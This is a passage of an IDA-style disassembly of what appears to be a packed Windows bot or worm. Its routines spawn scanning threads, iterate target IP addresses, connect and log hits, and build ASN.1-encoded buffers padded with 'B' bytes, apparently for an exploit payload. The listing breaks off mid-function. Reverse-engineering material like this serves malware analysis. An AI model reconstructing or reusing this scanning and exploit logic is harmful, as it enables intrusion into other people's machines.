		call	dword_4CB6CC	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C33C+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43E574[ebx]
		cmp	dword_4CB784[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E574[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43213C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E370[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD780
		call	dword_4270D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432114
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+2A8h+var_2A8], offset dword_4CD780
		call	dword_4270D0	; RtlLeaveCriticalSection
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431AD4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		call	dword_427078	; Sleep
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	dword_4270CC	; ExitThread
sub_40C124	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C33C	proc near		; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB674	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB780[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD780
		push	esi
		call	dword_4270DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4270D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_432220
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C33C+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C33C+63j
					; sub_40C33C+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB784[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C33C+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E574[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C33C+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C33C+159j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321B4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C33C+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C33C+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_40C4EC:				; CODE XREF: sub_40C33C+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB780[eax*8]
		push	eax
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_432174
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C33C+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4CB784[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD780
		call	dword_4270DC	; RtlDeleteCriticalSection


loc_40C571:				; CODE XREF: sub_40C33C+228j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_40C581:				; CODE XREF: sub_40C33C+19Ej
					; sub_40C33C+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB784[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40C581
sub_40C33C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near		; DATA XREF: sub_40C668+7Bo
					; sub_40C759+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB634	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6B4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5DC	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E57C[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		mov	edi, offset dword_4CE144
		push	offset unk_432254
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB6CC	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C668	proc near		; DATA XREF: sub_401ACD+603Eo

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_427078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C696:				; CODE XREF: sub_40C668+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_43227C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43E370
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40C59B
		push	edi
		push	edi
		call	dword_42707C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C702


loc_40C6F7:				; CODE XREF: sub_40C668+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40C702
		push	32h
		call	esi	; Sleep
		jmp	short loc_40C6F7
; ---------------------------------------------------------------------------


loc_40C702:				; CODE XREF: sub_40C668+8Dj
					; sub_40C668+92j
		push	[ebp+var_4]
		call	dword_427068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB55C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB630	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		jmp	loc_40C696
sub_40C668	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C759	proc near		; DATA XREF: sub_401ACD+5D4Eo

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_427078
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C787:				; CODE XREF: sub_40C759+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4322D0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_43E370
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40C59B
		push	edi
		push	edi
		call	dword_42707C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40C7F3


loc_40C7E8:				; CODE XREF: sub_40C759+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40C7F3
		push	32h
		call	esi	; Sleep
		jmp	short loc_40C7E8
; ---------------------------------------------------------------------------


loc_40C7F3:				; CODE XREF: sub_40C759+8Dj
					; sub_40C759+92j
		push	[ebp+arg_0]
		call	dword_427068	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40C81A
		inc	[ebp+var_2C]
		jmp	loc_40C787
; ---------------------------------------------------------------------------


loc_40C81A:				; CODE XREF: sub_40C759+B7j
		push	[ebp+var_1C]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4322A4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_409A72
		push	[ebp+var_20]
		call	sub_40B412
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40C759	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB4EC
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFB0
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: .packed:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_432308
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_432310
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
